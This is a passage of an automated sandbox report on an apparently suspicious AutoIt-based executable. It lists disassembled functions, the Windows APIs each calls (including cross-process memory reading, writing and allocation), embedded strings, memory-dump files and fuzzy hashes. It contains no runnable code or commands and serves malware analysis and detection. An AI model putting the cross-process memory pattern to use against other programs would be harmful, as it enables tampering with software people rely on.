Instruction Fuzzy Hash: 1C91BD70A04389EFCB14EF56D8909BDB7B6FF48300F148059F806AB292DB75AE41EB51

Function 00FC2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FC21D0,?,?,00000034,00000800,?,00000034), ref: 00FCB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00FC2760

Part of subcall function 00FCB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FC21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00FCB3F8

Part of subcall function 00FCB32A: GetWindowThreadProcessId.USER32(?,?), ref: 00FCB355
Part of subcall function 00FCB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00FC2194,00000034,?,?,00001004,00000000,00000000), ref: 00FCB365
Part of subcall function 00FCB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00FC2194,00000034,?,?,00001004,00000000,00000000), ref: 00FCB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FC27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FC281A

Strings

@, xrefs: 00FC2832

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 791575b64fb00375485618e46674a4176185926d074338b92853deb24fa0f4f0
Instruction ID: 9964e191f3ec02ef1f265791bae6ddc8ecbd93030c3bc329c9b0aa85c8da5814
Opcode Fuzzy Hash: 791575b64fb00375485618e46674a4176185926d074338b92853deb24fa0f4f0
Instruction Fuzzy Hash: 2C413A76D00219AEDB10DFA4CE86FEEBBB8EF09300F104059EA45B7181DA706E45DBA1

Function 00F9172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe,00000104), ref: 00F91769
_free.LIBCMT ref: 00F91834
_free.LIBCMT ref: 00F9183E

Strings

C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe, xrefs: 00F91760, 00F91767, 00F91796, 00F917CE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe
API String ID: 2506810119-252741263
Opcode ID: 43ba05cb90312381a543df3528a911289d473107edd889cc4f2d9ee818b38777
Instruction ID: 41aa743a1be3be48271ca4172ff9990c525693722852b73b91de391a84832a9a
Opcode Fuzzy Hash: 43ba05cb90312381a543df3528a911289d473107edd889cc4f2d9ee818b38777
Instruction Fuzzy Hash: E0318F71E0021AAFEF21DB999C81D9EBBBCFB85320B1441B6F80497211D6748A41EBA1

Function 00FCC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00FCC306
DeleteMenu.USER32(?,00000007,00000000), ref: 00FCC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,01031990,01188870), ref: 00FCC395

Strings

0, xrefs: 00FCC2DF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: ffe87655647f6dce6eaadd7434afaa88ca0bbe0f88bef815488c21fb3f687075
Instruction ID: 995c86fdf4858bc1e1208157be1f5b54bb22edf6e54622275f061ce4492e5d02
Opcode Fuzzy Hash: ffe87655647f6dce6eaadd7434afaa88ca0bbe0f88bef815488c21fb3f687075
Instruction Fuzzy Hash: 1541C2316043429FD720DF25ED46F5ABBE8AF85320F04861DF9A9D72D1C734A804EB92

Function 00FF4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00FFCC08,00000000,?,?,?,?), ref: 00FF44AA
GetWindowLongW.USER32 ref: 00FF44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FF44D7

Strings

SysTreeView32, xrefs: 00FF447C

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 4ec42014ae3cbb318ae19e6a448f0cdb6a23e74086e925c889cc66fd60db19cc
Instruction ID: 34e9c5bd266a761bbf9fa5bef433fbd30b11667556cd8ce4dd5d662f19c38074
Opcode Fuzzy Hash: 4ec42014ae3cbb318ae19e6a448f0cdb6a23e74086e925c889cc66fd60db19cc
Instruction Fuzzy Hash: F2316B31614209AFDB209E38DC45BEB77A9EF08334F244725FA79A22E0D774EC50AB50

Function 00FE304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00FE3077,?,?), ref: 00FE3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FE307A
_wcslen.LIBCMT ref: 00FE309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00FE3106

Strings

255.255.255.255, xrefs: 00FE3095, 00FE309A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: f7a443cdabab5422e12b708b4f49863ee52a7b911e8233b5670923f8e58995b8
Instruction ID: 28a59a4ba9130992e6956b102f7a198f048917f2e3bd858765a92ca9063fd552
Opcode Fuzzy Hash: f7a443cdabab5422e12b708b4f49863ee52a7b911e8233b5670923f8e58995b8
Instruction Fuzzy Hash: F6310735A042859FCB20CF2AC98DEA977E0EF54328F258059E9158B392C776EF41E761

Function 00FF3EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00FF3F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00FF3F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00FF3F78

Strings

SysMonthCal32, xrefs: 00FF3F0B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b3a7462e561501787db5ef26ddf7e0fe5cad57c2a3876f5918cc2b4277a5c64a
Instruction ID: 163af088c42fdd3873e8f11ce4cea634ebdcddce3891bd19cffb07d750a96a41
Opcode Fuzzy Hash: b3a7462e561501787db5ef26ddf7e0fe5cad57c2a3876f5918cc2b4277a5c64a
Instruction Fuzzy Hash: 33219F32A0021DBBDF258F50CC46FEA3B79EF48724F110214FA55AB1D0D6B5A954EB90

Function 00FF4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00FF4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00FF4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FF471A

Strings

msctls_updown32, xrefs: 00FF4684

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: a16b2ab4d33cef2ae5ac69829a7194d6858a0e017e1e3bed3a66f3841a397912
Instruction ID: f3ee4e8d4e173306015e57a0cbf739ef835fe0e179ea53d765b8708235032428
Opcode Fuzzy Hash: a16b2ab4d33cef2ae5ac69829a7194d6858a0e017e1e3bed3a66f3841a397912
Instruction Fuzzy Hash: 98212CB5600209AFDB10DF64DC81DB737ADEF9A3A8B040559FA049B261CB75FC11EB60

Function 00FC95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FC961D

Strings

#notrayicon, xrefs: 00FC95B7
#requireadmin, xrefs: 00FC95D9
#OnAutoItStartRegister, xrefs: 00FC95F3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: e9f0b77fac493eed24b3e5691b3a0bbf5ad8f94eb7b33be38399e7190b433edd
Instruction ID: f6365361145ad7f57a1f84025982ded87e38fdc9723cfb98abef49e2c20ad821
Opcode Fuzzy Hash: e9f0b77fac493eed24b3e5691b3a0bbf5ad8f94eb7b33be38399e7190b433edd
Instruction Fuzzy Hash: 3B213432A0821266C331BA24DE0BFB773D8AF90320F54442AFA4996081EBA5AD45F395

Function 00FF37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00FF3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00FF3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00FF3876

Strings

Listbox, xrefs: 00FF380F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 85fb8137a7e89dbe802a483af7f4a5a28f457388b2f1f98206187d58eabc851f
Instruction ID: b23066bf39726cb90bac36c1383f906b396e490297e067bca1323e4430c4a24d
Opcode Fuzzy Hash: 85fb8137a7e89dbe802a483af7f4a5a28f457388b2f1f98206187d58eabc851f
Instruction Fuzzy Hash: 28217F72A1411CBBEB219F54CC45EBB376EEF897A0F118124FA449B1A0C675DC52D7A0

Function 00FD49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FD4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00FD4A5C
SetErrorMode.KERNEL32(00000000,?,?,00FFCC08), ref: 00FD4AD0

Strings

%lu, xrefs: 00FD4A6F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: a9fa6e9dafaeca160047d6f2a020fcd5a2ca34dbbeaef90986d6f4a324e804bc
Instruction ID: 9ba49bcc2f9b5d312da7579ae367831663292835f4edd36326d0b5bcea611349
Opcode Fuzzy Hash: a9fa6e9dafaeca160047d6f2a020fcd5a2ca34dbbeaef90986d6f4a324e804bc
Instruction Fuzzy Hash: 60318E75A00109AFDB10DF64C981EAA7BF8EF08318F1480A9E909DB352D775ED45EBA1

Function 00FF41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00FF424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00FF4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00FF4271

Strings

msctls_trackbar32, xrefs: 00FF4226

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 3aad9f995dae9214e3becdc1c71a73ca2bae0fa1cb68d9a0385a05c2eca95d3e
Instruction ID: 5edc46e6ed93dbbefc29ea822c9e5542825c89f6b645dd06413bb5f05d8ea0df
Opcode Fuzzy Hash: 3aad9f995dae9214e3becdc1c71a73ca2bae0fa1cb68d9a0385a05c2eca95d3e
Instruction Fuzzy Hash: 8711E33164024CBEEF215F29CC46FBB3BACEF95B64F010525FA55E60A0D271E811EB24

Function 00FC2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

Part of subcall function 00FC2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00FC2DC5
Part of subcall function 00FC2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FC2DD6
Part of subcall function 00FC2DA7: GetCurrentThreadId.KERNEL32 ref: 00FC2DDD
Part of subcall function 00FC2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00FC2DE4

GetFocus.USER32 ref: 00FC2F78

Part of subcall function 00FC2DEE: GetParent.USER32(00000000), ref: 00FC2DF9

GetClassNameW.USER32(?,?,00000100), ref: 00FC2FC3
EnumChildWindows.USER32(?,00FC303B), ref: 00FC2FEB

Strings

%s%d, xrefs: 00FC2FFF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: e613bcb53241d3fba7d2bf3b4535ad4ca7c4b7c69a6b6244671e63407e5587ca
Instruction ID: 430d2c2e638a90af704763f68eab3b17369a0fcaad8f84b01bc7edd7a9205178
Opcode Fuzzy Hash: e613bcb53241d3fba7d2bf3b4535ad4ca7c4b7c69a6b6244671e63407e5587ca
Instruction Fuzzy Hash: CA11D27160020AABCF407F608D86FFD376AAF94304F048079F909DB292DE749909EB60

Function 00FF5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00FF58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00FF58EE
DrawMenuBar.USER32(?), ref: 00FF58FD

Strings

0, xrefs: 00FF588F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 141899931b65f4a4f1f8d5da6d67c0641e760fc287630a66fc5ebe016af0b9b4
Instruction ID: 6d40f46d71961d0e95a01305078579dce0a9ac2a3f268821e3aa7715b1b3a2e6
Opcode Fuzzy Hash: 141899931b65f4a4f1f8d5da6d67c0641e760fc287630a66fc5ebe016af0b9b4
Instruction Fuzzy Hash: 00015E3190021CEEDB219F11DC44BBEBBB8FF45760F148099EA49D6261DB708A88FF61

Function 00FC007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86309ed4f0641739387c353859ade62f8061566d8c5deae2fed7f51770820e97
Instruction ID: 5ec05fd4c8deaf832e18f17e401e5d3274172eecd82283d7009c75a927904024
Opcode Fuzzy Hash: 86309ed4f0641739387c353859ade62f8061566d8c5deae2fed7f51770820e97
Instruction Fuzzy Hash: DDC14875A0021AEFDB04CFA4C995FAAB7B5FF48314F148598E505EB251CB31ED42EB90

Function 00F93E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F93F0B
__alldvrm.LIBCMT ref: 00F9410C
__alldvrm.LIBCMT ref: 00F9412E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: a287e556a7e85df2575db191f22ca9d9a44811e44edb559230fa511291582ae1
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 39A15976D003869FFF26CF18C891BAEBBE4EF71364F14416DE5559B281C238A982E750

Function 00FE342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FE3459
CoUninitialize.OLE32 ref: 00FE3463
VariantInit.OLEAUT32(?), ref: 00FE346E
VariantClear.OLEAUT32(?), ref: 00FE371B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 6c65a9178b5f83d2286b35ec3a20e77e9f0a65f67223648d0b87867d6efd7ded
Instruction ID: 0230b59df41a3006bac9168d96d27a7c187371f57640d26ddbb2cafb5fcfabe9
Opcode Fuzzy Hash: 6c65a9178b5f83d2286b35ec3a20e77e9f0a65f67223648d0b87867d6efd7ded
Instruction Fuzzy Hash: ECA13E756043119FC710EF25C989A2AB7E5FF88714F08885DF98A9B362DB34ED01EB91

Function 00FC0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00FFFC08,?), ref: 00FC05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00FFFC08,?), ref: 00FC0608
CLSIDFromProgID.OLE32(?,?,00000000,00FFCC40,000000FF,?,00000000,00000800,00000000,?,00FFFC08,?), ref: 00FC062D
_memcmp.LIBVCRUNTIME ref: 00FC064E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: ce8e0028437dd49c7a671b891d2a7277d293e5c9ef59849189aa94970e413888
Instruction ID: 798a7cf4db9263f8db99647e41b76c6a064ffc0fa94b5355e9233494411685d7
